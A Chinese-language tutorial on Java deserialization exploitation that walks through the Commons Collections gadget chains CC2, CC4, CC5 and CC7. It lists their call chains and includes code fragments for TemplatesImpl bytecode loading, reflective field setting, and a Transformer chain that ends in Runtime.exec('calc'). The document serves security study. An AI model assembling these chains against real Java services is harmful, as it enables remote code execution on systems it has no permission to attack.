知识点：
Java攻防-手搓Gadget-反射调用-CC2&CC4&CC5
前面利用链都是使用commons.collections都是3.x版本的，那么来看一下4.x版本有哪些利用方式，把cc2,cc4,cc5,cc7都进行分析。
复现配置：pom.xml添加依赖：CC4版本
<dependency><groupId>org.apache.commons</groupId><artifactId>commons-collections4</artifactId><version>4.0</version></dependency>演示案例-Java攻防-手搓Gadget-反射调用CC2&CC4&CC5
一、CC2
cc2中不通过实例化TrAXFilter进行类加载，而用InvokerTransformer PriorityQueue#readObject->PriorityQueue#heapify->PriorityQueue#siftDown->PriorityQueue#siftDownUsingComparator->comparator#compare->TransformingComparator#compare->InvokerTransformer#transform->TemplatesImpl#newTransformer->TemplatesImpl::getTransletInstance ->TemplatesImpl::defineTransletClasses ->TransletClassLoader::defineClass0、获取对象修改成员属性
Field declaredField=obj.getClass().getDeclaredField(fieldName);declaredField.setAccessible(true);declaredField.set(obj, value);反射技术原理
1、TemplatesImpl#newTransformer
需要传入成员变量数据：_class _name _bytecodes _tfactoryif(_name!=null)if(_bytecodes!=null)if(_class==null)_tfactory=new TransformerFactoryImpl()其中：在TemplatesImpl#defineTransletClasses()中，_tfactory会被隐式调用_tfactory.getExternalExtensionsMap()是必须调用的方法，如果 _tfactory为null，此处会抛出 NullPointerException2、InvokerTransformer
负责传递执行方法和参数数据 newTransformer new Class[]{}new Object[]{}3、TransformingComparator
Comparator.compare(obj1,obj2)obj1=2obj2=templates4、PriorityQueue
size=2二、CC4
CC4可以看成是对CC2的改造，用InstantiateTransformer来替代InvokerTransformer PriorityQueue::readObject ->PriorityQueue#heapify->PriorityQueue#siftDown->PriorityQueue#siftDownUsingComparatorTransformingComparator::compare ChainedTransformer::transform ConstantTransformer::transform InstantiateTransformer::transform TrAXFilter::带参构造 TemplatesImpl::newTransformer ->TemplatesImpl::getTransletInstance ->TemplatesImpl::defineTransletClasses ->TransletClassLoader::defineClass0、PriorityQueue、TransformingComparator、ChainedTransformer、TemplatesImpl类基本没什么变动
1、ConstantTransformer
new Transformer[]{new ConstantTransformer(TrAXFilter.class),instantiateTransformer};2、InstantiateTransformer
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})三、CC5
基本和CC1一致，入口点换成BadAttributeValueExpException Gadget chain: BadAttributeValueExpException.readObject()TiedMapEntry.toString()LazyMap.get()ChainedTransformer.transform()ConstantTransformer.transform()InvokerTransformer.transform()Method.invoke()Class.getMethod()InvokerTransformer.transform()Method.invoke()Runtime.getRuntime()InvokerTransformer.transform()Method.invoke()Runtime.exec()0、InvokerTransformer
通过反射调用 Class.getMethod()通过反射调用 Method.invoke()通过反射调用 Runtime.exec("calc")反射调用原型： Class aClass=Class.forName("java.lang.Runtime");//获取类 //用method获取成员方法 Method getRuntimeMethod=aClass.getMethod("getRuntime");//获取成员方法 Methodexec=aClass.getMethod("exec", String.class);//获取exec Object runtime=getRuntimeMethod.invoke(aClass);exec.invoke(runtime,"calc.exe");1、ConstantTransformer
通过反射调用 Runtime.class new ConstantTransformer(Runtime.class);2、Transformer[]的设计是为了分步反射调用
Transformer[]transformers=new Transformer[]{new ConstantTransformer(Runtime.class), // 固定返回 Runtime.class new InvokerTransformer("getMethod",...), // 获取 getRuntime()方法 new InvokerTransformer("invoke",...), // 调用 getRuntime()new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})// 执行命令};3、LazyMap
反射利用HashMap通过decorate方法发送指向类 HashMap<Object, Object>objectObjectHashMap=new HashMap<>();Map decorate=LazyMap.decorate(objectObjectHashMap, chainedTransformer);4、TiedMapEntry
通过getkey getvalue发送指向类 TiedMapEntry tiedMapEntry=new TiedMapEntry(decorate,"123");5、BadAttributeValueExpException
调用设置varl值调用执行toString方法 BadAttributeValueExpException setFieldValue(badAttributeValueExpException,"val", tiedMapEntry);四、CC7
基本和CC1一致，入口点换成Hashtable Gadget chain: Hashtable.readObject Hashtable.reconstitutionPut AbstractMapDecorator.equals AbstractMap.equals LazyMap.get ChainedTransformer.transform ConstantTransformer::transform InvokerTransformer.transform
